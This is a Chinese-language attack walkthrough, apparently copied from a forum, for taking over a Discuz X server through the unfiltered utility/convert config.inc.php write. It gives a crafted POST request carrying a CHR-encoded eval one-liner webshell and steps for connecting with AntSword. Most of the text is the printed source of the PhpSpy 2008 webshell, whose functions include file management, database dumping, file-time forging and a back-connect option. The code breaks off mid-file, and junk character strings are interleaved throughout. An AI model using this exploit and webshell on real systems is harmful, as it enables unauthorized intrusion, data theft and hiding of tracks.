攻击思路:- u# W/ M% T/ L1 S9 P2 N0 _
想要拿下一台主机A的权限:) w/ o- F) ~/ H: s8 c
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
# W; j# R) d; k! I, [& R" S2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权$ `! n" o' X5 f- ^* N- R9 p* Y
3、传上去后,得到apache用户普通权限,再提权成root
% w% Y) b9 e* A概述:
- |/ d$ Z$ ?0 M% j0 K! v这突破在一个DZ X系列自带的转换工具里面。
: w& u+ ]! d& O5 N, m, {. w% O A漏洞路径:utility / convert / data / config.inc.php
* t u6 C9 W. I漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
5 a( e* {3 {! p4 U触发突破过程:8 o* F, y1 ^/ K+ B: |. q
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php 5 q/ E% |- i7 a0 p5 f3 }
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
% V' ?! {0 O; i攻击过程:5 x+ `+ ^. h- f$ W' {# |6 @6 g. X
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
+ E2 Q$ \4 D$ A6 L [ " S' U& A2 m/ ?8 P3 D1 N

) F" c: T# L( z. u q2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马1 m( D+ J. f. l0 z
) u, ?: b; X% i
8、通过中国蚁剑上传大码7 F5 q1 r3 S+ X) ~2 ?: _

' I& n% g' s" k, `. ` 6 D5 G. E* f! j6 d, u/ M
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php/ L l0 f0 N5 G( P9 D- u
- & a) `5 V% o2 H; [% c% k
- /*****************************************************************************6 o; D* k0 f% Q5 P& B
-
5 Q* n" s" |7 \) |0 d% z6 j - ===================== 请误用于非法用途,造成一切后果与本人无关。====================9 f3 `4 e8 @7 n
-
4 ?" x# y& O6 K9 r4 M1 j1 r - ====
' C2 ~2 o+ w0 U U' ~% ] - , x* e4 S: H& R, P3 r+ e4 r
-
% f6 E3 d/ V) b y) A - *****************************************************************************/
u( `( G1 l7 p" U3 Z -
; _7 _2 H9 V" t+ i& o - error_reporting(7);+ R" m V, s: v
- @set_magic_quotes_runtime(0);6 c- I' y+ c: h' [% W$ V) q
- ob_start();+ T, ~* C0 O& k+ z0 `+ {+ ?
- $mtime = explode(' ', microtime());
* d6 w/ n, a. c6 q) H - $starttime = $mtime[1] + $mtime[0];
' ^$ q: {9 I) _, X5 W5 Q' y- Y - define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');8 F1 @2 ]. d7 T' W ^
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );# t3 r4 n+ A& |; u9 p- a! s( ~
- define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
3 y: n# E; F9 p1 ?8 M - define('IS_COM', class_exists('COM') ? 1 : 0 );
8 \; z5 K: w% ? - define('IS_GPC', get_magic_quotes_gpc());
1 t. R, d3 B8 l9 w. f - $dis_func = get_cfg_var('disable_functions');4 t; ~0 B @/ \# p8 b' ?) c9 D
- define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );: q* ^$ m, P, L& C. u1 h# b
- @set_time_limit(0);
' v% i5 ^8 Q' l( z -
1 |# S2 e' s+ r - foreach(array('_GET','_POST') as $_request) {( J' ~5 z% [0 o6 P
- foreach($$_request as $_key => $_value) {
+ j! E; L" Y" }. b+ \9 F - if ($_key{0} != '_') {. L) Q b1 c3 _
- if (IS_GPC) {1 o2 @! O/ h; L. t9 Z
- $_value = s_array($_value);9 p8 K$ U1 y X
- }8 H6 E! K; i. M$ C( [- N1 G$ ]* d
- $$_key = $_value;
3 q% R1 @7 H# a. r6 A1 q1 D - }
: q$ B) G' `, p& U+ P/ r9 p* o - }
' Z" \- E8 z5 I) A, R) D - }! y+ R- D2 O9 V
-
# Z" q% c1 I% R& ]1 `% P - /*===================== 程序配置 =====================*/
; @4 y7 h& y4 t% ~" m" l - $admin = array();2 v" p% k. t: _& L& M$ [
- // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
9 [6 C1 r0 q9 W( T0 x - $admin['check'] = true;
7 d. p L% c$ \7 s - // 如果需要密码验证,请修改登陆密码
7 K% |3 X3 e1 c( w% H+ t7 U3 ~ - $admin['pass'] = 'xuegod';) u a& s: d3 D( d
-
8 v, u! o. ]& X( }5 T; \ - //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认! U& h! w( e `* w/ l$ p- R
- // cookie 前缀
7 g/ i! `- b1 d' x0 p - $admin['cookiepre'] = '';
+ H& q; }& B$ G: ? - // cookie 作用域
' b; E, L1 P3 O2 Q - $admin['cookiedomain'] = '';. o3 ~/ [: Y) M; a+ C! j7 F
- // cookie 作用路径- ]8 ]2 k2 j8 e. o; h3 {
- $admin['cookiepath'] = '/';+ W3 ?& @# a& S+ C
- // cookie 有效期
0 k+ P7 V/ }+ X6 u - $admin['cookielife'] = 86400;
1 O; H F) v4 }4 S+ C/ `( Y - /*===================== 配置结束 =====================*/2 j- y7 H; t" ^! l3 c2 H3 a- W$ s
-
% l5 h1 I7 W" u - if ($charset == 'utf8') {
! J7 V! C) N+ ^. G9 y0 e, s9 R' @- Y/ O - header("content-Type: text/html; charset=utf-8");
6 Q. X0 y8 K q4 i - } elseif ($charset == 'big5') {! @0 i9 P/ y3 t/ C& T9 v" G% ~
- header("content-Type: text/html; charset=big5");9 c& `8 P% y8 u l9 M3 d+ S5 W
- } elseif ($charset == 'gbk') {! g7 t. O J. P# i- l/ ^+ J( G6 {
- header("content-Type: text/html; charset=gbk");* z- M% F. ^' h5 E
- } elseif ($charset == 'latin1') {
. [/ ^4 A a( e* w+ Q" d - header("content-Type: text/html; charset=iso-8859-2");5 P" W! i" U, X
- }! m, d: F5 d5 ?7 ~
-
3 n+ ^: u2 K) c* }4 r; y4 d - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];2 \. H! b3 t2 g6 ?
- $timestamp = time();
* p. {5 O: s. b% d5 |4 q -
" v) @6 r0 Z. t: t - /*===================== 身份验证 =====================*// n( \6 x" m1 H( Z& b7 a
- if ($action == "logout") {
: A! q* e/ V2 [+ o5 e; i - scookie('phpspypass', '', -86400 * 365);
: q0 t$ c& y' i, e - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');2 k3 z0 ^- P6 v( x
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
; e& F+ a9 N5 O, L5 K2 { - exit;
( o# f9 P1 o+ ^* O - }1 p0 A# F0 }+ O3 F, Q
- if($admin['check']) {8 p) A) G7 j' D% R- G8 _% n( V
- if ($doing == 'login') {, R8 J* T9 n V7 |
- if ($admin['pass'] == $password) {
3 S2 z: Z u1 U W, G - scookie('phpspypass', $password);) w+ T8 h3 L: y+ C9 E- q
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');2 r( e3 a$ J) a, ~0 M8 k+ ~
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');% O8 F' T( c9 H
- exit;* c; n2 |7 k9 m1 O$ `3 Q
- }# P8 n# O: N% S% d
- }; w" W/ l1 g: t( w
- if ($_COOKIE['phpspypass']) {7 @& N" m: e) x p: j) K
- if ($_COOKIE['phpspypass'] != $admin['pass']) {
/ i0 R, _2 s8 a& } - loginpage();
- u) r' a. ~! X f- z - }# e, K1 |' A# g$ i/ r! Q
- } else {& P! j f9 @9 ^4 R7 c8 c4 K/ t0 l
- loginpage();! K8 J9 `- } f) |
- }1 ]7 O+ k9 h- j6 I4 h" h' z
- }: L' n6 d' `& r" R" {( N
- /*===================== 验证结束 =====================*/
0 Q/ u+ o* L' u$ E) Z - * [7 c j- k3 d+ P/ K
- $errmsg = '';
& P, g/ k3 \' t! P, O$ D -
" Y. t$ j% y4 l& J; v0 v& \6 n - // 查看PHPINFO$ V( }6 P4 A8 V2 v) m. ~9 r* c
- if ($action == 'phpinfo') {! p# B/ t: X2 `# \ i+ L, B
- if (IS_PHPINFO) {; M+ \% y1 e9 A7 P; _* u$ S5 T' p
- phpinfo();8 N3 W9 b. m! I- N9 O/ b( y
- } else {0 t5 Z* `: S% ^0 y
- $errmsg = 'phpinfo() function has non-permissible';
% h, U0 w6 d: H3 C) K4 x - }
& O! b+ C$ U: _, d( T - }
5 @' H! S4 ]; I# D -
% N/ Z- C+ y$ I9 P - // 下载文件
, |- S5 w# h9 O9 I5 `" R - if ($doing == 'downfile' && $thefile) {6 h- @" N6 q5 F) y% Z8 \
- if (!@file_exists($thefile)) {* Z/ ^7 @) d1 }" ]8 Z$ d1 }
- $errmsg = 'The file you want Downloadable was nonexistent'; A+ y$ N$ ~- B3 ?* m
- } else {6 h8 N. \6 G; f7 R$ B# r
- $fileinfo = pathinfo($thefile);3 a3 W$ Q4 e+ j4 R J
- header('Content-type: application/x-'.$fileinfo['extension']);2 r9 Z4 G& Q; t' T& @
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);+ F- U. X% k5 r/ F6 X
- header('Content-Length: '.filesize($thefile));
; c: {1 u. y( Z( V# F$ X! m - @readfile($thefile);1 P4 f2 i( ]* }( j
- exit;# @( g8 y+ T0 _5 f+ Q n5 M
- }
- \& Q+ A: Q9 H1 M% V# G! H. A8 ]$ y - }9 z6 N! O$ j3 H, H) c) X
-
8 X/ _0 u9 L3 y: v" k3 _ - // 直接下载备份数据库% u! w' k1 L% e, a- K: ?3 C) y
- if ($doing == 'backupmysql' && !$saveasfile) {
$ [& S3 |8 P$ T- n( ? - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);1 P; ^3 U1 a# K, ~& _$ n
- $table = array_flip($table);
" ^4 E$ A3 Y9 s8 m! g& ^ - $result = q("SHOW tables");1 `1 s) c) U; Z
- if (!$result) p('<h2>'.mysql_error().'</h2>');& k9 t6 m) ?" k
- $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');2 v0 |- Z, g& g
- header('Content-type: application/unknown');* t- K9 z" i; q, x9 a% m
- header('Content-Disposition: attachment; filename='.$filename);
+ g$ g( k9 t ~# |. o" p; h - $mysqldata = '';1 q1 }& c: V9 t4 b6 a3 ]9 t! e
- while ($currow = mysql_fetch_array($result)) {1 x; J+ a" p2 y6 B
- if (isset($table[$currow[0]])) {/ M2 Y; Y7 m8 S/ o
- $mysqldata .= sqldumptable($currow[0]);# O. F1 w, T3 t" n* m
- }
/ K/ |: {0 r8 @1 B; ` - }/ U# u9 G. J# `" u l
- mysql_close();
A' z1 ^# w& j4 R& o1 Z, h - exit;( v: u9 h5 s0 K: ?
- } P9 `. h4 ?0 V3 ~# g
-
2 C. ?( \) r; Q, [" e - // 通过MYSQL下载文件$ b, l9 v6 Y5 r3 G3 [+ Y
- if($doing=='mysqldown'){
7 h: \6 T" f/ d* W - if (!$dbname) {6 ?. S j7 N7 X0 W! Q$ p
- $errmsg = 'Please input dbname';0 m! g/ T% J0 L/ C. L
- } else {
& M8 ^; r9 [9 V. | ` - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
9 ^5 d' p! `( Q - if (!file_exists($mysqldlfile)) {
: S/ A# F' F. ?4 N5 \ - $errmsg = 'The file you want Downloadable was nonexistent';+ L9 ~% B4 C# s$ x; U/ r0 c: h# J
- } else {; A# R1 f" u# `6 ]" ~; b$ f; b
- $result = q("select load_file('$mysqldlfile');");
9 D# @( ?2 J( i- R$ g - if(!$result){4 S* ~3 j* w; v# }1 b- t5 d2 R
- q("DROP TABLE IF EXISTS tmp_angel;");; j! j: ?: Y" ]
- q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");+ D" F |! n9 q% B# ~5 ~
- //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
: u. S0 i% e) A9 P8 x& s( R. }9 S9 H - q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");% V* f* J. I5 a' f4 R& U
- $result = q("select content from tmp_angel");( O; o* H& d4 |2 z$ @/ Q9 V+ |7 V- Q& T
- q("DROP TABLE tmp_angel");
9 i8 ~- }8 G6 c4 W - }+ t3 q! h" q [" g" Q) M# j
- $row = @mysql_fetch_array($result);
5 |" h& P2 l+ } g4 S1 P - if (!$row) {7 \- p8 F5 {. ~) p
- $errmsg = 'Load file failed '.mysql_error();
3 ]7 j) Q: U6 u! v - } else {- u. z' V; E/ p7 Q7 J7 |/ \2 m
- $fileinfo = pathinfo($mysqldlfile);
. F+ G$ r# Q1 l" _ - header('Content-type: application/x-'.$fileinfo['extension']); p a. f; Z( I0 t& m
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);( h- Q* l; y- ?% [" H# a
- header("Accept-Length: ".strlen($row[0]));+ S- \0 k! O- v& j. Z7 r& ~
- echo $row[0];
' c) F5 S+ ?! t4 R - exit;% {; J, Y$ ?0 E1 \4 ]
- }
. J! O+ t/ i( @: c9 M1 x, F& p5 [ - }# c4 e! p, s8 w7 R3 b0 E) z
- }
7 v5 K5 K) g# T3 r$ _' Z' R. g- @: ] - }# E7 d$ u' f9 d
- & }1 N( F% J! D8 D) J7 D7 g5 D
- ?>- w5 i2 g7 Y- t8 B7 I4 m
- <html>
' D& j$ ~' u6 v( g8 p+ W3 y2 J( c - <head>
/ g6 i$ I! }6 d6 T; u, b& c - <meta http-equiv="Content-Type" content="text/html; charset=gbk">- H/ ]# I# f/ P. X) _ X# v8 P
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>7 a6 W" c; \: I5 }! G
- <style type="text/css">7 Y _: b+ W2 b0 W+ Y$ B
- body,td{font: 12px Arial,Tahoma;line-height: 16px;} S# K# d1 k( x5 {4 r
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
2 w6 z/ a# _- u$ ]6 V! ` - .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}# v1 c- c0 A7 V* O& e# c, {
- .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}/ L' q: a. ]( t: r$ [ A3 W
- a {color: #00f;text-decoration:underline;}6 S& [$ k& }- Z7 p
- a:hover{color: #f00;text-decoration:none;}$ B2 i& R7 b/ J8 a% w" T( i5 @
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}' f$ a$ R* q: k% [5 ]' n* Z
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
, K, g( d2 m" @; \- I6 W: k - .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
; k7 [- S# w- r/ u3 b' G# I - .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
. U/ d5 o, `5 F - .head td span{font-weight:normal;}: J9 L' [ \$ K, T
- form{margin:0;padding:0;}; P! ]: k: D& _" ~( S$ f
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}8 S0 C) n* p' G( d/ b
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
" o$ e, K. k0 ^% V8 Q1 Q+ j - u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
; _1 {. R# R" G0 u* i$ m$ r - </style>' r; |1 p# ]* ^3 K( h& g
- <script type="text/javascript">" \: _0 g: f* g1 @) M
- function CheckAll(form) {5 K8 w, W* m! K9 B2 m
- for(var i=0;i<form.elements.length;i++) {# p" X9 J- S2 h" C( U
- var e = form.elements[i];$ `1 r1 P5 @4 m2 Q4 |# ?# E& P; {( U
- if (e.name != 'chkall')7 ^3 Q7 A2 @% ~" E- f) ^
- e.checked = form.chkall.checked;
7 x- M L8 p- ~) I& ]6 c - }
* w, ]+ s5 K/ |3 I7 d - }
8 ?. j7 z: V9 S, l0 v% Z' U - function $(id) { W/ b* b j! s
- return document.getElementById(id);
0 O0 f3 q" ], ]+ g - }- G3 ?& o: e G( J. I* R& ]# _7 U
- function goaction(act){9 b$ u: g& h& h1 N( L
- $('goaction').action.value=act;
$ P3 l' t0 O+ ^ n* q" d( K - $('goaction').submit();
( X' P, {7 ?- I - }2 v; `1 y" I9 g
- </script>; a& _9 K, E& Q5 M) E# v9 L1 e
- </head>) M9 C- T% ~ l) |9 X
- <body style="margin:0;table-layout:fixed; word-break:break-all">& I9 q! T1 k( N8 x0 M' u
- <table width="100%" border="0" cellpadding="0" cellspacing="0">
3 ~+ j# P6 ^* G: A$ F3 f! z - <tr class="head">+ G% t5 @+ M- U' Z1 P( w+ Y
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>, Q9 \7 R" _7 e; P4 ?6 a; N& |( e
- </tr>- S% O! p4 i6 G2 Z: }: f
- <tr class="alt1">! [* G7 ~0 ?# J# ~ Z. l( f
- <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
$ N1 T$ I" l$ e3 z! {/ Q# q7 { - <a href="javascript:goaction('logout');">Logout</a> | 7 Y0 ?. z0 i0 p$ H8 I
- <a href="javascript:goaction('file');">File Manager</a> |
% e6 V- W7 n$ g. K9 ?2 e - <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
4 B: D4 b* n. i: P9 J# x - <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
& }) V; L- ]8 B# Z& G" [( J' f3 v - <a href="javascript:goaction('shell');">Execute Command</a> |
9 p- P" l! K" a( V9 J( i i( I- C - <a href="javascript:goaction('phpenv');">PHP Variable</a> |
6 b. }( s! Z) G+ D - <a href="javascript:goaction('eval');">Eval PHP Code</a>
: X2 @2 s7 ^4 O+ r. D: F: O - <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?># D. w: }8 i6 Z! D7 ~; V8 o; `7 e
- </td>! }9 h% D( W7 j! X( l" e# T- m
- </tr>: N2 j& E9 B s% ?+ J7 i. R
- </table>
, L) C8 T7 {; y, i: b - <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
$ } F s. Y) b7 K/ y8 ]! R - <?php7 E! G* x$ y" z1 N; E$ v
-
. q( O# C1 Z) i' `* l0 f) i - formhead(array('name'=>'goaction'));6 A" p9 S$ F* A# l6 v
- makehide('action');
' X9 K3 c+ X) h6 U - formfoot();
6 v$ V5 ]* }$ q' Z/ }( f -
/ b* |+ e0 m1 q" X. I - $errmsg && m($errmsg);) A, B. G; t8 T) o
- ( a" n% i4 U2 U5 l R' I
- // 获取当前路径
h, _ R' T! q4 A+ z - !$dir && $dir = '.';
9 p: u6 l1 c$ I' |7 z9 S - $nowpath = getPath(SA_ROOT, $dir);9 s" \7 v$ \/ A1 Y3 O. L1 e
- if (substr($dir, -1) != '/') {
4 s# w3 L7 ~1 |. g3 l) ^& m7 J! l - $dir = $dir.'/';
8 D O% L5 L$ h9 d+ I6 D - }
% e! y B# ^: q$ G, ?# H3 K - $uedir = ue($dir);
/ \0 _+ C$ s3 r+ }1 p/ ~0 |0 l -
3 Y; m9 A6 K* Y - if (!$action || $action == 'file') {, s* ?! M6 k+ _7 p+ B" S
-
. _4 K1 A5 [; Y/ {6 [ - // 判断读写情况* b$ \: |6 Y) y8 d' i, b
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
0 o$ F% \0 ^! q K1 c/ N5 R5 j -
3 m; f$ M+ e( S - // 删除目录
) D" }1 q' \: |" H0 r- [- b# j - if ($doing == 'deldir' && $thefile) {
# I3 s D$ x6 g - if (!file_exists($thefile)) {/ C0 R; r' x% k( m
- m($thefile.' directory does not exist');8 C* R: v ^* c' |8 o4 Y0 x
- } else {
- F4 T! O& T! g+ O t3 l U3 Q - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
" N- A% X9 y4 d7 y6 Y - }$ |# d2 w: M/ v. @5 C: g
- } e& n8 L! |/ u. v* \
- 9 L3 [/ `( |# V* `9 e
- // 创建目录9 N @! M1 u+ g1 U* K
- elseif ($newdirname) {/ F/ Z; ]# R# J7 a/ ]( ^
- $mkdirs = $nowpath.$newdirname;
" z8 a( K, n! n ~5 J7 L' c. x - if (file_exists($mkdirs)) {
; i$ P" U# y+ n6 w, V* u* l) E - m('Directory has already existed');, V' Z& a) x) b
- } else {* u) U$ y4 \. w
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
% _) u; O5 [5 C( ` - @chmod($mkdirs,0777);
0 K& Y7 q9 T9 p+ ~! Q4 L0 Y% P - }
5 j3 ]4 `( ? n0 O/ E9 Y( x - }) D; f; E+ o) B% S
- . u( ^# S* T4 x
- // 上传文件0 H- V% p/ J7 i/ h! t" Q
- elseif ($doupfile) {
0 I N4 f+ c# r+ R' h- ? - m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));, O- X4 ]6 D9 V- s
- }
0 U$ _, g2 Q6 o3 ? -
) B4 C# Q- |. v: ~) i - // 编辑文件
9 b s# l/ C. A - elseif ($editfilename && $filecontent) {
: r% k. s0 W; M- @' m% \/ K4 H - $fp = @fopen($editfilename,'w');
" L% b( K4 M! u+ Y- ~, X - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));+ W8 b$ m5 F F5 `! c
- @fclose($fp);
( `+ Q, k2 N. v( K - }
8 M+ f( K3 A( x" f/ [) F# F4 ^ -
6 ?8 D* q- M9 z6 U! j7 P - // 编辑文件属性
k3 X9 D# W' S7 X - elseif ($pfile && $newperm) {7 f" f; R- @' R
- if (!file_exists($pfile)) {
8 y, Q* _6 n* O8 ~: V0 L - m('The original file does not exist');! X% t9 M6 y# L- F8 B: F" W# _" v, A
- } else {" j* T W I( p* d7 h1 m
- $newperm = base_convert($newperm,8,10);$ C3 a) j8 R/ g8 U; S, f
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));" y" W6 K; m' [! f( p
- }
7 F4 o' c3 M" W5 g5 o' u4 H8 a! N - }% X. w0 r/ r: O4 F; }8 ]8 F
-
6 E8 R: J! T! v2 K4 T - // 改名
4 i7 K/ x5 J/ i; }6 `3 @0 s- [ - elseif ($oldname && $newfilename) {
+ M, b/ y9 D/ t% L+ [ - $nname = $nowpath.$newfilename;
7 M/ ~3 Q1 q0 H( g7 A; n' G, E7 W - if (file_exists($nname) || !file_exists($oldname)) {
4 b6 ]6 e6 g0 j: k, |* l1 E2 c - m($nname.' has already existed or original file does not exist');
8 b1 @ g# L8 @) X* N - } else {
% M8 w' k& n- P' d) W - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
0 Y/ |+ B: p7 m2 o3 i - }& j( u; f& a/ Q2 ^5 U
- }% l) R/ o! Y3 ?2 I# ~
-
4 O+ S6 B0 W/ q) e4 r* \' `! [ - // 复制文件' u0 n( [8 q2 }! L/ Y4 L7 \# ~/ u
- elseif ($sname && $tofile) {% \6 T9 Q" ~/ t$ p. \9 f
- if (file_exists($tofile) || !file_exists($sname)) {4 w) _' [3 s: x$ v, O* [% S8 A+ j0 N
- m('The goal file has already existed or original file does not exist');, F0 X% O2 V" J0 z5 J& f
- } else {* p3 P* J8 _$ s& `1 `
- m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));- C- S$ P& o/ x/ A/ m
- }, [% A6 X% j* u! F
- }3 \. ^# I5 V/ Q6 L
- , D0 p! X2 L) {/ x
- // 克隆时间
' f2 a% f& g; e - elseif ($curfile && $tarfile) {
* w1 N7 [% J+ t. s - if (!@file_exists($curfile) || !@file_exists($tarfile)) {1 L$ N) n; f: ^
- m('The goal file has already existed or original file does not exist');: m9 G6 ] N/ W; E' {
- } else {
. v8 s j5 W4 j% J- `/ g - $time = @filemtime($tarfile);
% u; j' G3 y1 E$ y( f8 J4 P - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));& E8 s% c4 ?! \( \
- }
6 s+ J _1 Y1 a( \7 L" L - }
0 N) M* s4 r- F( l: C0 Z -
2 J0 J# i) D# @3 T7 T* l* e9 Q2 _ - // 自定义时间- M% ]+ U) E1 Q$ F* i
- elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {0 z5 a8 o1 ]( m
- if (!@file_exists($curfile)) {, t5 A9 [5 p: z
- m(basename($curfile).' does not exist');; X: d( h8 l$ Z, G
- } else {
1 s: P# K! M7 h) E% x - $time = strtotime("$year-$month-$day $hour:$minute:$second");
; L& S8 R; q& H) b' k0 \ - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));7 w; J, G: L( M2 X& E4 K" ]
- }
5 x# K. r/ W. v4 r7 U- t& ^ - }
s/ p D8 ]" i( O ~ - 6 q! @+ p4 m" f
- // 打包下载: _/ L a% t6 _9 g
- elseif($doing == 'downrar') {
& ~" X# i) ~2 e/ J - if ($dl) {
9 I/ Y5 c5 ^/ S. H Q( O - $dfiles='';1 k" q L) ^. P- T8 \
- foreach ($dl as $filepath => $value) {
S. k+ G {8 B5 y, S0 @- k - $dfiles.=$filepath.',';! {7 _2 x5 q9 R M1 Z* t' s
- }
, y$ }1 i% Z4 L$ H$ V% g; i) L - $dfiles=substr($dfiles,0,strlen($dfiles)-1);
# J$ I; D; m: U& S4 g - $dl=explode(',',$dfiles);+ Z( X; G& K1 o- r. _$ Z
- $zip=new PHPZip($dl);7 R, B y+ B: R! _0 q
- $code=$zip->out;
/ j, y" {! D6 r - header('Content-type: application/octet-stream');# k0 H& W' G% ?; S& r1 g& _& L$ d0 `
- header('Accept-Ranges: bytes');
% I! u' E, m# K - header('Accept-Length: '.strlen($code));
, R' j% u4 ]8 ]1 a1 M - header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');- H* u+ }/ G/ l$ E+ I# q
- echo $code;- B. O% a( T4 U- L1 |
- exit;
6 K6 g! D1 _- J& x - } else {% {' O" I n" C- D: d$ t4 L; V4 e
- m('Please select file(s)');2 i8 z/ o# s- e9 C7 W; n2 f$ X2 z
- }) ^; U( a+ F! Y
- }
* J% ^2 u# o+ u- B -
7 e+ v, m; k! ~: z4 z - // 批量删除文件- R% z. M6 [( y
- elseif($doing == 'delfiles') {
* b8 b' Q3 a+ x9 K - if ($dl) {
! W3 z2 m' v8 P) B/ p0 o - $dfiles='';
5 B5 o2 ?" ~1 A - $succ = $fail = 0;* [7 e2 h D1 x' D2 [& K
- foreach ($dl as $filepath => $value) {
/ i6 x0 N( A a* ?3 D5 Q - if (@unlink($filepath)) {
6 e) A+ G, F: z+ t0 R0 Z - $succ++;" }1 a! I2 Q0 k8 t! z# h4 H! O
- } else {( D. F" k$ O6 A. I0 [
- $fail++;
8 c' f. }/ A+ M/ o. r& X Z4 D - }9 n* K# C+ @% u8 E
- }, \2 j+ ?' T3 L7 L
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);) z9 f! X3 p% ^
- } else {
4 \$ `7 k U7 a% w - m('Please select file(s)');! |. X/ t: }3 M9 q$ q# N/ F
- }
1 ~' Z0 M6 n6 U) s9 } - }. {8 K0 ^3 ^. z5 P" y
- 3 v! w8 K) j1 `5 @
- //操作完毕( s7 z* j/ h% H. K/ y& B3 d
- formhead(array('name'=>'createdir'));% ^4 Y. P# T7 i/ ?6 V% Z
- makehide('newdirname');
5 v6 o7 M* T9 {' @ - makehide('dir',$nowpath);4 v9 m4 ~1 I+ V, b5 Q" m
- formfoot();4 A9 m- T6 X& h" B. P+ o; T) R
- formhead(array('name'=>'fileperm'));
/ ^3 y1 b% o& w; \ - makehide('newperm');
